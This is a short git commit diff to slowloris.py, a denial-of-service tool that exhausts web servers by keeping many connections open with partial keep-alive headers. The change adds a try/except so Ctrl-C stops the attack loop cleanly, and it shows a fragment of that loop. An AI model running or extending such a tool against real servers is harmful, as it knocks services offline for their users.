Update slowloris.py

Handle Ctrl-C exceptions
2018-09-27 18:09:45 +08:00 · 2018-09-27 18:09:45 +08:00 · 59fc07d0cb
parent a89668c444
commit 59fc07d0cb
1 changed files with 20 additions and 15 deletions
--- a/slowloris.py
+++ b/slowloris.py
@ -109,6 +109,7 @@ def main():
        list_of_sockets.append(s)

    while True:
+        try:
            logging.info("Sending keep-alive headers... Socket count: %s", len(list_of_sockets))
            for s in list(list_of_sockets):
                try:
@ -126,5 +127,9 @@ def main():
                    break
            time.sleep(15)

+        except (KeyboardInterrupt, SystemExit):
+            print("\nStopping Slowloris...")
+            break
+
 if __name__ == "__main__":
    main()